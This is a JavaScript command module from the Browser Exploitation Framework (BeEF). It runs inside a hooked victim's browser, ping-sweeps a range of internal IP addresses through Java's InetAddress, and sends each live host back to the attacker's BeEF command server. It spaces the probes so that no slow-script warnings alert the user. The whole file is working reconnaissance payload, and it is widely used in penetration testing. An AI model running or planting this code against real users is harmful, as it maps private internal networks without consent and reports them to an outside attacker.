70 lines
2.2 KiB
JavaScript
70 lines
2.2 KiB
JavaScript
//
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// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
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// Browser Exploitation Framework (BeEF) - http://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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beef.execute(function() {
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var ips = new Array();
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var ipRange = "<%= @ipRange %>";
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var timeout = "<%= @timeout %>";
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var delay = parseInt(timeout) + parseInt("<%= @delay %>");
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var verbose=false; /* enable for debug */
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// ipRange will be in the form of 192.168.0.1-192.168.0.254: the fourth octet will be iterated.
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// Note: if ipRange is just an IP address like 192.168.0.1, the ips array will contain only one element: ipBounds[0]
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// (only C class IPs are supported atm). Same code as internal_network_fingerprinting module
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var ipBounds = ipRange.split('-');
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var ipToTest;
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if(ipBounds.length>1) {
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var lowerBound = parseInt(ipBounds[0].split('.')[3]);
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var upperBound = parseInt(ipBounds[1].split('.')[3]);
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for(i=lowerBound;i<=upperBound;i++){
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ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i
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ips.push(ipToTest);
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}
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} else {
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ipToTest = ipBounds[0]
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ips.push(ipToTest);
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}
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if(ips.length==1) verbose=true;
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function do_scan(host, timeout) {
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var status=false;
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var ping="";
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try {
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status = java.net.InetAddress.getByName(host).isReachable(timeout);
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} catch(e) { /*handle exception...? */ }
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if (status) {
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ping = host + " is alive!";
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} else if(verbose) {
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ping = host + " is not alive";
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}
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return ping;
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}
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// call do_scan for each ip
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// use of setInterval trick to avoid slow script warnings
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var i=0;
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if(ips.length>1) {
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var int_id = setInterval( function() {
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var host = do_scan(ips[i++],timeout);
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if(host!="") beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host, beef.are.status_success());
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if(i==ips.length) { clearInterval(int_id); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host=Ping sweep finished'); }
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}, delay);
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} else {
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var host = do_scan(ips[i],timeout);
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beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host);
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}
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});
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